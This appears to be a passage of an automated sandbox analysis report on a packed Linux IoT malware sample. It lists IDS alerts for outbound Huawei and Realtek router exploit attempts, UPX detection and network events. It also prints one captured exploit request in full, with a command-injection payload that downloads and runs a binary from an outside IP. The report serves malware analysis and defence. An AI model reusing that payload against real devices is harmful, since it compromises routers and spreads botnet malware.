Source Port:	33088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.12.48

Timestamp:	192.168.2.23156.250.12.4843928372152835222 05/27/22-01:59:19.900398
SID:	2835222
Source Port:	43928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.115.199

Timestamp:	192.168.2.23156.250.115.19934588528692027339 05/27/22-02:00:40.094695
SID:	2027339
Source Port:	34588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.119.234

Timestamp:	192.168.2.23156.250.119.23457452372152835222 05/27/22-01:59:20.396948
SID:	2835222
Source Port:	57452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.65.82

Timestamp:	192.168.2.23156.244.65.8241530528692027339 05/27/22-02:00:46.172402
SID:	2027339
Source Port:	41530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.238.55.63

Timestamp:	192.168.2.23156.238.55.6359248528692027339 05/27/22-02:00:57.205791
SID:	2027339
Source Port:	59248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.114.169

Timestamp:	192.168.2.23156.244.114.16945150528692027339 05/27/22-02:01:03.633425
SID:	2027339
Source Port:	45150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.247.26.85

Timestamp:	192.168.2.23156.247.26.8551100528692027339 05/27/22-02:01:25.188204
SID:	2027339
Source Port:	51100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.95.7

Timestamp:	192.168.2.23156.250.95.750394528692027339 05/27/22-02:02:02.390092
SID:	2027339
Source Port:	50394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.71.170

Timestamp:	192.168.2.23156.254.71.17056620372152835222 05/27/22-02:01:58.763001
SID:	2835222
Source Port:	56620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.52.177

Timestamp:	192.168.2.23156.238.52.17751982372152835222 05/27/22-02:02:07.265845
SID:	2835222
Source Port:	51982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.106.237

Timestamp:	192.168.2.23156.235.106.23739702528692027339 05/27/22-02:00:35.250846
SID:	2027339
Source Port:	39702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.51.207

Timestamp:	192.168.2.23156.226.51.20745580528692027339 05/27/22-02:02:23.507946
SID:	2027339
Source Port:	45580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.83.122

Timestamp:	192.168.2.23156.250.83.12239366528692027339 05/27/22-01:59:50.214544
SID:	2027339
Source Port:	39366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.92.93

Timestamp:	192.168.2.23156.250.92.9347058528692027339 05/27/22-02:00:06.575375
SID:	2027339
Source Port:	47058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.92.137

Timestamp:	192.168.2.23156.226.92.13748128372152835222 05/27/22-02:01:30.447072
SID:	2835222
Source Port:	48128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.69.242

Timestamp:	192.168.2.23156.241.69.24259670372152835222 05/27/22-02:02:29.380693
SID:	2835222
Source Port:	59670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.12.42

Timestamp:	192.168.2.23156.224.12.4251946372152835222 05/27/22-02:02:26.317574
SID:	2835222
Source Port:	51946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.140.177

Timestamp:	192.168.2.23156.225.140.17737020528692027339 05/27/22-02:00:12.104490
SID:	2027339
Source Port:	37020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.104.39

Timestamp:	192.168.2.23156.226.104.3955384528692027339 05/27/22-02:00:21.412620
SID:	2027339
Source Port:	55384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.90.117

Timestamp:	192.168.2.23156.241.90.11742234372152835222 05/27/22-02:01:23.148906
SID:	2835222
Source Port:	42234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.79.100

Timestamp:	192.168.2.23156.244.79.10053690372152835222 05/27/22-02:00:03.345824
SID:	2835222
Source Port:	53690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.238.19.122

Timestamp:	192.168.2.23156.238.19.12242912528692027339 05/27/22-01:59:21.574194
SID:	2027339
Source Port:	42912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.69.76

Timestamp:	192.168.2.23156.226.69.7644358372152835222 05/27/22-02:01:23.148832
SID:	2835222
Source Port:	44358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.103.54

Timestamp:	192.168.2.23156.241.103.5451374528692027339 05/27/22-02:01:31.552862
SID:	2027339
Source Port:	51374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.113.51

Timestamp:	192.168.2.23156.250.113.5152880528692027339 05/27/22-02:01:05.900159
SID:	2027339
Source Port:	52880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.89.135

Timestamp:	192.168.2.23156.250.89.13550370372152835222 05/27/22-02:00:40.206239
SID:	2835222
Source Port:	50370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.14.91

Timestamp:	192.168.2.23156.224.14.9146290372152835222 05/27/22-01:59:55.272301
SID:	2835222
Source Port:	46290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.106.20

Timestamp:	192.168.2.23156.226.106.2041928528692027339 05/27/22-02:00:58.415595
SID:	2027339
Source Port:	41928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.67.72

Timestamp:	192.168.2.23156.241.67.7248376528692027339 05/27/22-02:00:30.836402
SID:	2027339
Source Port:	48376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.234.225.96

Timestamp:	192.168.2.23156.234.225.9634858528692027339 05/27/22-02:01:48.197372
SID:	2027339
Source Port:	34858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.41.79

Timestamp:	192.168.2.23156.254.41.7952672528692027339 05/27/22-02:01:25.202723
SID:	2027339
Source Port:	52672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.241.25

Timestamp:	192.168.2.23156.227.241.2554260372152835222 05/27/22-01:59:37.741824
SID:	2835222
Source Port:	54260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.230.23.205

Timestamp:	192.168.2.23156.230.23.20559464528692027339 05/27/22-02:00:00.095656
SID:	2027339
Source Port:	59464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.16.95

Timestamp:	192.168.2.23156.247.16.9546218372152835222 05/27/22-02:02:06.356719
SID:	2835222
Source Port:	46218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.68.106

Timestamp:	192.168.2.23156.241.68.10644126528692027339 05/27/22-02:02:18.969246
SID:	2027339
Source Port:	44126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.61.50

Timestamp:	192.168.2.23156.238.61.5032810372152835222 05/27/22-02:00:19.919063
SID:	2835222
Source Port:	32810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.53.9

Timestamp:	192.168.2.23156.226.53.950078528692027339 05/27/22-02:00:26.443237
SID:	2027339
Source Port:	50078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.103.207

Timestamp:	192.168.2.23156.235.103.20737772528692027339 05/27/22-02:00:15.055305
SID:	2027339
Source Port:	37772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.109.65

Timestamp:	192.168.2.23156.235.109.6556538528692027339 05/27/22-02:01:51.729952
SID:	2027339
Source Port:	56538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.90.75

Timestamp:	192.168.2.23156.241.90.7555358528692027339 05/27/22-02:00:56.688578
SID:	2027339
Source Port:	55358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.96.165

Timestamp:	192.168.2.23156.235.96.16534796372152835222 05/27/22-02:00:40.158975
SID:	2835222
Source Port:	34796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.101.119

Timestamp:	192.168.2.23156.235.101.11947240372152835222 05/27/22-02:00:44.623311
SID:	2835222
Source Port:	47240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.72.2

Timestamp:	192.168.2.23156.226.72.251082372152835222 05/27/22-02:00:15.542965
SID:	2835222
Source Port:	51082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.91.197

Timestamp:	192.168.2.23156.244.91.19743770528692027339 05/27/22-02:02:09.470687
SID:	2027339
Source Port:	43770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.127.112

Timestamp:	192.168.2.23156.241.127.11235344528692027339 05/27/22-01:59:28.808407
SID:	2027339
Source Port:	35344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.137.159

Timestamp:	192.168.2.23156.225.137.15942070528692027339 05/27/22-02:00:06.037170
SID:	2027339
Source Port:	42070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.126.156

Timestamp:	192.168.2.23156.241.126.15634446528692027339 05/27/22-02:01:27.049255
SID:	2027339
Source Port:	34446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.59.6

Timestamp:	192.168.2.23156.238.59.649688372152835222 05/27/22-02:02:19.042372
SID:	2835222
Source Port:	49688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.110.237

Timestamp:	192.168.2.23156.235.110.23751304372152835222 05/27/22-02:01:03.098990
SID:	2835222
Source Port:	51304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.90.187

Timestamp:	192.168.2.23156.241.90.18740662528692027339 05/27/22-01:59:32.517805
SID:	2027339
Source Port:	40662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.66.11

Timestamp:	192.168.2.23156.226.66.1148300528692027339 05/27/22-02:02:02.743966
SID:	2027339
Source Port:	48300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.60.128

Timestamp:	192.168.2.23156.238.60.12843752372152835222 05/27/22-02:01:53.946053
SID:	2835222
Source Port:	43752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.89.38

Timestamp:	192.168.2.23156.250.89.3858638372152835222 05/27/22-01:59:09.384285
SID:	2835222
Source Port:	58638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.101.147

Timestamp:	192.168.2.23156.226.101.14754000372152835222 05/27/22-02:02:36.580337
SID:	2835222
Source Port:	54000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.48.28

Timestamp:	192.168.2.23156.226.48.2838942372152835222 05/27/22-01:59:26.668782
SID:	2835222
Source Port:	38942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.87.74

Timestamp:	192.168.2.23156.244.87.7452230528692027339 05/27/22-02:01:37.316060
SID:	2027339
Source Port:	52230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.92.53

Timestamp:	192.168.2.23156.226.92.5332978528692027339 05/27/22-02:02:09.688236
SID:	2027339
Source Port:	32978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 34 34 2e 38 31 2e 31 31 34 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.44.81.114 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: LOAD without section mappings

Program segment: 0x100000

Source: IdTVrdi0dC, type: SAMPLE

Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4

Source: classification engine

Classification label: mal76.troj.evad.lin@0/53@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /usr/sbin/logrotate (PID: 6273)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
Source: /usr/sbin/logrotate (PID: 6282)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

Source: /usr/sbin/invoke-rc.d (PID: 6278)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service
Source: /usr/sbin/invoke-rc.d (PID: 6280)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6284)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40910
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40928
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40936
Source: unknown	Network traffic detected: HTTP traffic on port 42092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40948
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40968
Source: unknown	Network traffic detected: HTTP traffic on port 42092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38674 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40978
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41076
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41088
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41096
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41100
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41120
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41136
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41154
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38674 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42092 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41166
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41180
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41200
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41234
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41246
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41276
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41296
Source: unknown	Network traffic detected: HTTP traffic on port 51058 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41338
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41382
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41394
Source: unknown	Network traffic detected: HTTP traffic on port 40602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41412
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 41426
